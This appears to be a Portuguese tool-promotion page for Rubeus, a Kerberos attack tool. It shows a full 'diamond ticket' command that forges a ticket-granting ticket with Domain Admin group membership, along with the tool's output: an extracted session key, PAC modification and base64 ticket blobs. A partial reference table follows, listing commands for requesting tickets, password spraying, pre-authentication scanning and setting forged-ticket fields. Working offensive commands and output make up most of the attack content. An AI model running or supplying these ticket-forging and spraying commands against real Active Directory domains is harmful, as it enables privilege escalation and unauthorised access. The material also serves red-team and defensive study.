      doIFajCCBWagAwIBBaEDAgEWooIEczCCBG9hggRrMIIEZ6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g
                                        ...(snip)...
      UlZFTC5MT0NBTA==

Criando um TGT diamond usando o truque tgtdeleg:

root@kitploit:~
C:\Rubeus>Rubeus.exe diamond /krbkey:3111b43b220d2f4eb8e68fe7be1179ce69328c9071cba14bef4dbb02b1cfeb9c /tgtdeleg /ticketuser:thor /ticketuserid:1104 /groups:512

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.1.1

[*] Action: Diamond Ticket

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/Earth-DC.marvel.local'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: imNrWVWRhlB61dUk5EWEdQL7DgqBQ/UckUs9pBvw6JU=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFejCCBXagAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g
                                        ...(snip)...
      oRgwFhsGa3JidGd0GwxNQVJWRUwuTE9DQUw=

[*] Decrypting TGT
[*] Retreiving PAC
[*] Modifying PAC
[*] Signing PAC
[*] Encrypting Modified TGT

[*] base64(ticket.kirbi):

Read more

Baixar ferramenta
  • Instruções de Compilação
    • Visando outras versões do .NET
    • Nota: Construindo Rubeus como uma Biblioteca
    • Nota: Executando Rubeus via PowerShell
      • Nota da Nota: Executando Rubeus via PSRemoting
  • ComandoDescrição
    asktgtSolicitar um ticket de concessão de ticket (TGT) a partir de um hash/chave ou senha
    asktgsSolicitar um ticket de serviço a partir de um TGT passado
    renewRenovar (ou renovar automaticamente) um TGT ou ticket de serviço
    bruteRealizar um ataque de força bruta de senha baseado em Kerberos. 'spray' também pode ser usado em vez de 'brute'
    preauthscanRealizar uma varredura por contas que não exigem pré-autenticação Kerberos
    /resourcegroupsid
    ArgumentoDescrição
    /authtimeDefine o campo authtime no EncTicketPart. Em formato de hora local - é convertido para UTC automaticamente (Padrão: agora)
    /starttimeDefine o campo starttime no EncTicketPart. Em formato de hora local - é convertido para UTC automaticamente (Padrão: agora)
    /endtimeDefine o campo endtime no EncTicketPart. Isto é relativo ao starttime, no formato de multiplicador + intervalo de tempo, por exemplo, para 5 dias, 5d. Mais informações sobre este formato explicadas abaixo (Padrão: 10h)
    /renewtillDefine o campo renew-till no EncTicketPart. Isto é relativo ao starttime, no formato de multiplicador + intervalo de tempo, por exemplo, para 5 dias, 5d. Mais informações sobre este formato explicadas abaixo (Padrão: 7d)
    /rangeendIsto é para criar múltiplos tickets que começam em horários diferentes. Este será o último starttime, relativo a /starttime, no formato de multiplicador + intervalo de tempo, por exemplo, para 5 dias, 5d. Mais informações sobre este formato explicadas abaixo
    /rangeintervalIsto é para criar múltiplos tickets cujos inícios são em horários diferentes. Este é o intervalo que será usado entre cada starttime, no formato de multiplicador + intervalo de tempo, por exemplo, para 5 dias, 5d. Mais informações sobre este formato explicadas abaixo
    /flagsDefine os flags do ticket dentro do EncTicketPart (Padrão: forwardable,renewable,pre_authent e para golden também initial)
    /extendedupndnsInclui o novo UpnDns estendido (que inclui o samaccountname e o SID da conta)